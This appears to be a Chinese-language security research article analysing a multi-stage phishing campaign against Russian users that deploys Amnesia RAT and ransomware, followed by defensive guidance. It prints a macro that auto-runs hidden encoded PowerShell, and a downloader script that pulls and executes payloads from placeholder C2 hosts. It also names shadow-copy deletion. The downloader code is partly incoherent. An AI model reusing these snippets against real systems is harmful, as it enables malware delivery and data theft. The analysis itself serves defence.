首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >针对俄罗斯用户的Amnesia RAT多阶段钓鱼攻击机制研究

针对俄罗斯用户的Amnesia RAT多阶段钓鱼攻击机制研究

原创
作者头像
芦笛
发布2026-02-28 10:05:57
发布2026-02-28 10:05:57
1110
举报

摘要

近年来,网络攻击呈现出高度组织化、模块化及多阶段化的特征,其中利用社会工程学诱导用户执行恶意代码仍是初始访问的主要途径。本文基于Fortinet FortiGuard Labs披露的最新威胁情报,深入剖析了一起专门针对俄罗斯用户群体的多阶段网络钓鱼活动。该活动通过伪装成税务通知、法律传票及商业发票的恶意文档,利用宏病毒或伪PDF可执行文件作为初始载荷,构建了复杂的感染链,最终部署Amnesia远程访问木马(RAT)及勒索软件。研究详细解构了攻击者采用的多阶段下载器架构、动态混淆技术、反沙箱检测机制以及从信息窃取到数据加密的双重勒索战术。通过在隔离环境中复现攻击流程,本文揭示了攻击者如何利用PowerShell、WMI及注册表持久化技术规避传统防御。针对此类威胁,文章提出了一套包含宏策略管控、行为启发式检测、网络流量分析及数据备份验证在内的综合防御体系,并提供了具体的检测规则与响应代码示例,旨在为应对高隐蔽性、高破坏性的复合型网络攻击提供理论支撑与实践指导。

关键词:多阶段钓鱼;Amnesia RAT;勒索软件;宏病毒;威胁情报;双重勒索

1 引言

在网络空间安全对抗不断升级的背景下,攻击者的战术、技术与过程(TTPs)正经历着显著的演变。传统的单一步骤恶意软件投递方式因易于被特征库识别而逐渐失效,取而代之的是多阶段、模块化的攻击链。这种架构不仅增加了安全分析的难度,还赋予了攻击者极大的灵活性,使其能够根据目标环境动态调整后续载荷。近期,针对特定地域和行业的定向攻击活动尤为猖獗,其中利用本地化社会工程学诱饵进行初始渗透的手法屡见不鲜。

Fortinet FortiGuard Labs近期监测到一起针对俄罗斯用户的复杂网络钓鱼活动,该活动展示了现代恶意软件分发的典型特征。攻击者精心设计了符合俄罗斯商业习惯和法律语境的诱饵文档,如联邦税务局(FTS)通知、法院传票及供应商发票,极大地提高了欺骗的成功率。一旦受害者打开附件,便会触发一系列连锁反应:首先执行经过高度混淆的初始化脚本,随后从多个冗余的命令与控制(C2)服务器下载中间加载器,最终部署功能强大的Amnesia RAT。值得注意的是,该活动并非止步于远程控制,部分案例显示攻击者在完成敏感数据窃取后,会进一步释放勒索软件对宿主系统进行加密,实施“先窃取后加密”的双重勒索策略。

Amnesia RAT作为一种成熟的恶意软件即服务(MaaS)产品,具备屏幕监控、键盘记录、文件管理、进程注入及命令行执行等全方位控制能力。其模块化设计允许攻击者按需加载功能插件,从而在潜伏期最大限度地减少资源占用和异常行为特征。此外,该恶意软件家族集成了先进的反分析技术,包括虚拟机环境检测、调试器识别及代码混淆,使得静态分析和动态沙箱检测面临巨大挑战。

面对此类融合了社会工程学、复杂编码技术及多重攻击目标的威胁,传统的基于签名的防病毒软件往往显得力不从心。攻击者利用合法的系统管理工具(如PowerShell、WMI)进行“生活在地面”(Living off the Land)的攻击,使得恶意行为混杂在正常的系统操作中。因此,深入研究此类多阶段攻击的内部机制,揭示其逃避检测的关键节点,并构建基于行为分析和上下文感知的防御体系,已成为当前网络安全研究的紧迫任务。本文旨在通过对该起针对俄罗斯用户的钓鱼活动进行全流程技术复盘,剖析Amnesia RAT的运作机理,并提出切实可行的防御对策,以期为提升组织应对高级持续性威胁的能力提供参考。

2 攻击向量与初始访问机制分析

2.1 本地化社会工程学诱饵设计

本次攻击活动的核心优势在于其高度定制化的社会工程学诱饵。攻击者并未采用通用的模板,而是深入研究了俄罗斯的商业环境与法律法规,制作了极具迷惑性的文档。邮件主题通常涉及紧迫的财务或法律事项,例如“关于未缴税款的紧急通知”、“法院传票编号XXX”或“未付发票详情”。这些主题利用了受害者的恐惧心理和对合规性的重视,促使其在未加核实的情况下打开附件。

附件形式主要分为两类:一是带有恶意宏的Microsoft Word文档(.docm, .doc),二是伪装成PDF的可执行文件(.exe)。对于Word文档,攻击者利用VBA(Visual Basic for Applications)宏语言编写恶意代码。为了绕过微软默认禁用宏的安全策略,文档内容通常包含诱导性文字,提示用户“启用内容”以查看完整文档或验证数字签名。一旦用户点击启用,宏代码即刻执行。

对于伪装成PDF的可执行文件,攻击者利用了Windows资源管理器默认隐藏已知文件扩展名的特性。文件名被构造为“Document.pdf.exe”,图标则被替换为Adobe Reader的标志。在默认设置下,用户看到的仅是“Document.pdf”,误以为是普通文档而双击运行。这种手法虽然古老,但在缺乏安全意识培训的用户群体中依然有效。

2.2 恶意宏代码的执行逻辑

当受害者启用宏后,VBA代码便开始执行其预定的恶意逻辑。为了避免被静态分析工具轻易识别,宏代码通常经过多层混淆处理。常见的混淆技术包括变量名随机化、字符串拆分重组、以及利用ASCII码动态构建命令。

以下是一个简化后的恶意宏代码逻辑示例,展示了攻击者如何绕过检测并启动后续载荷:

' 混淆后的VBA宏示例

Sub AutoOpen()

Dim cmd As String

Dim shellObj As Object

Dim parts(3) As String

' 字符串拆分以逃避静态特征匹配

parts(0) = "powers"

parts(1) = "hell.exe"

parts(2) = " -WindowStyle Hidden -EncodedCommand "

parts(3) = GetEncodedPayload() ' 获取Base64编码的载荷

cmd = parts(0) & parts(1) & parts(2) & parts(3)

' 创建Shell对象执行命令

Set shellObj = CreateObject("WScript.Shell")

' 使用Run方法静默执行,不显示窗口

shellObj.Run cmd, 0, False

' 伪造文档内容以迷惑用户

ThisWorkbook.Sheets(1).Range("A1").Value = "正在加载文档,请稍候..."

Application.Wait (Now + TimeValue("0:00:05"))

ThisWorkbook.Close SaveChanges:=False

End Sub

Function GetEncodedPayload() As String

' 模拟从远程获取或硬编码的Base64 Payload

' 实际攻击中,这里可能包含下载器的URL或更复杂的逻辑

GetEncodedPayload() = "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAuAC4ALgA="

End Function

在上述代码中,AutoOpen 函数在文档打开时自动触发。攻击者通过将 powershell.exe 命令拆分为多个字符串片段并在运行时拼接,有效规避了基于关键字的检测。-WindowStyle Hidden 参数确保PowerShell窗口不可见,而 -EncodedCommand 则允许执行经过Base64编码的指令,进一步隐藏了实际执行的脚本内容。最后,宏会关闭文档并显示虚假的加载提示,以消除用户的疑虑。

2.3 伪PDF可执行文件的欺骗技术

对于伪装成PDF的.exe文件,其内部逻辑通常由C++或Delphi编写,旨在模拟PDF阅读器的行为以降低怀疑。程序启动后,首先会检查自身运行环境,若发现处于沙箱或调试环境中,则立即退出或执行无害操作。若环境正常,它会释放一个真实的PDF阅读器(或利用系统关联的阅读器)打开一份合法的PDF文档(通常就是诱饵中声称的内容),以此作为掩护。与此同时,后台线程会异步执行恶意载荷的下载与安装。

这种“双管齐下”的策略极具隐蔽性。用户看到了预期的文档内容,认为文件是安全的,而恶意代码已在后台悄然运行。此外,攻击者还会对可执行文件进行数字签名伪造或利用被盗的合法证书签名,以增加其可信度,绕过智能屏幕(SmartScreen)等基于信誉的过滤机制。

3 多阶段感染链与载荷投递架构

3.1 模块化下载器的工作机制

初始访问成功后,攻击者并不会直接投放最终的恶意软件,而是部署一个轻量级的下载器(Dropper/Downloader)。这一阶段的设计遵循了模块化原则,旨在实现载荷的动态更新和灵活切换。下载器的主要任务是从C2服务器获取下一阶段的载荷,并根据指令执行相应的操作。

在多阶段架构中,下载器通常会尝试连接多个备用C2域名或IP地址。这种域生成算法(DGA)或多重冗余设计确保了即使部分节点被封锁,攻击链仍能继续。下载器在获取载荷后,往往不会直接写入磁盘,而是采用“文件less”技术,将载荷加载到内存中执行,从而避免留下持久化的文件痕迹。

以下PowerShell脚本模拟了多阶段下载器的核心逻辑,展示了其如何从远程服务器获取并执行内存载荷:

# 多阶段下载器模拟逻辑

$urls = @(

"http://malicious-c2.ru/stage2.bin",

"http://backup-c2.net/payload.dat",

"https://compromised-site.com/update.php"

)

$payloadBytes = $null

foreach ($url in $urls) {

try {

$client = New-Object System.Net.WebClient

# 设置User-Agent以模仿正常浏览器流量

$client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")

$payloadBytes = $client.DownloadData($url)

if ($payloadBytes.Length -gt 0) {

Write-Host "Payload downloaded successfully from $url"

break

}

} catch {

Write-Host "Failed to download from $url, trying next..."

Start-Sleep -Seconds 2

}

}

if ($payloadBytes -ne $null) {

# 内存中执行载荷,避免写盘

# 实际攻击中可能包含解密步骤

$delegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(

[System.Runtime.InteropServices.Marshal]::AllocHGlobal($payloadBytes.Length),

[Func[int, int]]{param($x) return 0}

)

[System.Runtime.InteropServices.Marshal]::Copy($payloadBytes, 0, [System.Runtime.InteropServices.Marshal]::AllocHGlobal($payloadBytes.Length), $payloadBytes.Length)

# 调用入口点执行

# 此处仅为示意,实际执行需根据PE结构解析入口点

Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($payloadBytes))

}

3.2 Amnesia RAT的部署与功能特性

经过多阶段传递后,最终载荷Amnesia RAT被注入到目标系统中。Amnesia是一款功能完备的RAT,支持Windows平台,具有图形化管理界面,允许攻击者对受控主机进行精细化操作。其核心功能模块包括:

文件系统管理:攻击者可浏览、上传、下载、删除受害者文件,特别关注文档、数据库及财务数据。

实时监控:具备实时屏幕截图、摄像头捕获及音频录制功能,使攻击者能够直观地监视用户活动。

键盘记录:通过挂钩(Hooking)技术记录所有键盘输入,窃取账号密码、聊天记录等敏感信息。

远程命令执行:支持执行任意CMD或PowerShell命令,便于攻击者进行横向移动或部署其他工具。

持久化机制:通过修改注册表启动项、创建计划任务或利用WMI事件订阅,确保恶意软件在系统重启后自动运行。

Amnesia RAT的通信协议通常经过加密处理,模仿正常的HTTPS流量,以规避网络监控。其C2通信具有心跳机制,定期向服务器报告状态并接收指令。此外,该软件支持插件扩展,攻击者可根据需要动态加载勒索软件模块或其他辅助工具。

3.3 反分析与逃避检测技术

为了延长存活时间,Amnesia RAT及其下载器集成了多种反分析技术。首先是环境检测,恶意代码会检查系统是否存在虚拟机特征(如特定的注册表键值、MAC地址前缀、进程列表中的虚拟化驱动等)。若检测到沙箱环境,程序将进入休眠或直接退出,避免暴露行为特征。

其次是代码混淆与加壳。攻击者使用商业级或自定义的打包器对可执行文件进行加密,并在运行时动态解密。这不仅隐藏了代码逻辑,还改变了文件的哈希值,使得基于特征的检测失效。此外,恶意软件还会利用时间延迟技术,在执行关键操作前等待足够长的时间,以绕过基于时间触发的沙箱分析。

在进程注入方面,Amnesia RAT倾向于将自身代码注入到合法的系統进程(如 explorer.exe, svchost.exe)中。这种“借壳上市”的手法使得恶意进程在任务管理器中难以被察觉,同时也继承了宿主进程的权限和网络访问能力,进一步增加了检测难度。

4 双重勒索战术与数据危害评估

4.1 从窃密到加密的攻击演进

本次攻击活动的一个显著特征是“双重勒索”战术的应用。攻击者并非在入侵初期立即发动勒索,而是先利用Amnesia RAT进行长期的潜伏和数据窃取。在这一阶段,攻击者会全面扫描受害者的文件系统,识别高价值数据(如财务报表、客户名单、知识产权、合同文档等),并将其秘密 exfiltrate(外传)至C2服务器。

一旦数据窃取完成,或者攻击者认为已经掌握了足够的谈判筹码,便会触发勒索软件模块。该模块会对系统中的文件进行高强度加密(通常采用AES+RSA混合加密算法),导致业务系统瘫痪。随后,攻击者会留下勒索信,要求支付赎金以获取解密密钥,并威胁若不支付,将把窃取的敏感数据在暗网公开或出售。

这种战术极大地增加了受害者的心理压力和经济风险。即使组织拥有完善的数据备份恢复机制,能够解决加密问题,仍面临着数据泄露带来的声誉损失、法律合规风险及商业机密外泄的威胁。因此,单纯的备份策略已不足以应对此类复合攻击。

4.2 针对俄罗斯用户的特定危害

针对俄罗斯用户的这次攻击活动,其危害性还体现在对特定行业和业务场景的精准打击上。由于诱饵涉及税务和法律通知,受害者多为中小企业财务人员、法务人员或管理层。这些岗位通常掌握着企业的核心财务数据和敏感合同信息。

一旦遭受攻击,企业不仅面临直接的赎金损失,还可能因税务数据泄露而遭到监管机构的调查,或因客户信息泄露而面临集体诉讼。此外,在当前的地缘政治背景下,此类攻击可能被赋予更多的政治色彩,成为网络间谍活动的一部分,用于窃取国家关键基础设施或战略行业的情报。

数据危害评估显示,Amnesia RAT的文件搜索算法非常高效,能够快速定位特定扩展名(如.docx, .xlsx, .pdf, .sql, .dwg等)的文件。其外传模块支持断点续传和多线程上传,能够在短时间内将大量数据转移出境。加密模块则采用了卷影副本删除技术(如调用 vssadmin delete shadows),阻止用户通过系统自带的还原功能恢复文件,进一步加剧了灾难后果。

5 综合防御体系构建与技术实践

面对多阶段、高隐蔽性的钓鱼攻击及双重勒索威胁,单一的安全产品已无法提供充分保护。组织必须构建纵深防御体系,涵盖预防、检测、响应及恢复全生命周期。

5.1 终端强化与宏策略管控

在预防层面,严格控制Office宏的执行是阻断初始访问的关键。建议企业通过组策略(GPO)全局禁用宏的自动执行,仅允许经过数字签名且受信任的宏运行。对于必须使用宏的业务场景,应建立严格的审批和审计机制。

以下PowerShell脚本展示了如何通过注册表配置禁用宏,并启用通知模式:

# 配置Office宏安全策略

$officeVersions = @("16.0", "15.0") # 支持多个Office版本

$regPathBase = "HKCU:\Software\Microsoft\Office\"

foreach ($version in $officeVersions) {

$wordPath = "$regPathBase$version\Word\Security"

$excelPath = "$regPathBase$version\Excel\Security"

# 创建路径如果不存在

if (!(Test-Path $wordPath)) { New-Item -Path $wordPath -Force | Out-Null }

if (!(Test-Path $excelPath)) { New-Item -Path $excelPath -Force | Out-Null }

# 设置宏安全级别:3 = 禁用所有宏,并发出通知

# 4 = 禁用无数字签署的所有宏

Set-ItemProperty -Path $wordPath -Name "VBAWarnings" -Value 4

Set-ItemProperty -Path $excelPath -Name "VBAWarnings" -Value 4

# 禁用信任访问VBA工程对象模型(防止恶意宏操控其他宏)

Set-ItemProperty -Path $wordPath -Name "AccessVBOM" -Value 0

Set-ItemProperty -Path $excelPath -Name "AccessVBOM" -Value 0

}

Write-Host "Macro security policies updated successfully."

此外,应部署端点检测与响应(EDR)系统,利用行为启发式引擎监控异常进程行为。例如,当Word进程启动PowerShell子进程,或可疑进程尝试注入系统进程时,EDR应立即阻断并报警。

5.2 网络流量分析与C2通信阻断

在网络层面,部署下一代防火墙(NGFW)和网络流量分析(NTA)工具至关重要。通过分析DNS请求、TLS指纹及流量模式,可以识别潜在的C2通信。针对本次活动中使用的DGA域名,可部署DNS过滤服务,实时阻断对可疑域名的解析。

对于加密流量,可利用JA3指纹技术识别恶意的TLS客户端特征。Amnesia RAT等恶意软件在使用加密库时往往会留下独特的指纹,与正常浏览器有所区别。通过比对这些指纹,网络设备可以在不解密流量的情况下识别并拦截恶意连接。

同时,实施网络分段策略,限制终端设备对敏感网段的访问权限。即使某台主机被攻陷,攻击者也难以利用RAT进行横向移动,从而将损害控制在最小范围。

5.3 数据备份与应急响应机制

针对勒索软件威胁,建立可靠的数据备份体系是最后的防线。备份策略应遵循“3-2-1”原则:至少保留三份数据副本,存储在两种不同的介质上,其中一份必须离线保存(Air-gapped)或位于不可变存储(Immutable Storage)中,以防被勒索软件加密或删除。

定期验证备份的可用性至关重要。组织应定期进行恢复演练,确保在紧急情况下能够快速从备份中恢复业务数据。此外,制定详细的应急响应计划(IRP),明确在检测到感染后的隔离、取证、清除及恢复流程,能够显著缩短平均响应时间(MTTR)。

在检测到Amnesia RAT活动时,应立即断开受感染主机的网络连接,防止数据进一步外传或勒索软件扩散。利用EDR工具的内存取证功能,提取恶意样本进行分析,提取IOCs(入侵指标)并在全网范围内进行排查和封堵。

6 结论

针对俄罗斯用户的Amnesia RAT多阶段钓鱼活动,深刻揭示了当前网络威胁的复杂性与破坏力。攻击者通过精细的社会工程学设计、模块化的多阶段投递架构以及先进的反检测技术,成功绕过了传统的安全防线,实现了从初始渗透到数据窃取再到勒索加密的全链路攻击。这种“双重勒索”模式不仅造成了直接的经济损失,更带来了深远的数据泄露风险。

研究表明,防御此类高级威胁不能依赖单一的技术手段,而必须构建多层次、多维度的纵深防御体系。从源头的宏策略管控和用户意识提升,到过程中的行为分析与网络监控,再到最后的离线备份与应急响应,每一个环节都不可或缺。特别是引入基于行为的检测机制和零信任架构理念,对于发现隐藏在合法进程背后的恶意活动具有重要意义。

未来,随着人工智能技术在攻防双方的广泛应用,攻击的自动化程度和隐蔽性将进一步提升。防御者需持续关注威胁情报动态,不断更新检测规则与防御策略,加强跨部门、跨行业的协同合作,共同应对日益严峻的网络安全挑战。只有通过技术创新与管理优化的双轮驱动,才能在复杂的网络对抗中立于不败之地,切实保障数字资产的安全与业务的连续性。

编辑:芦笛(公共互联网反网络钓鱼工作组)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档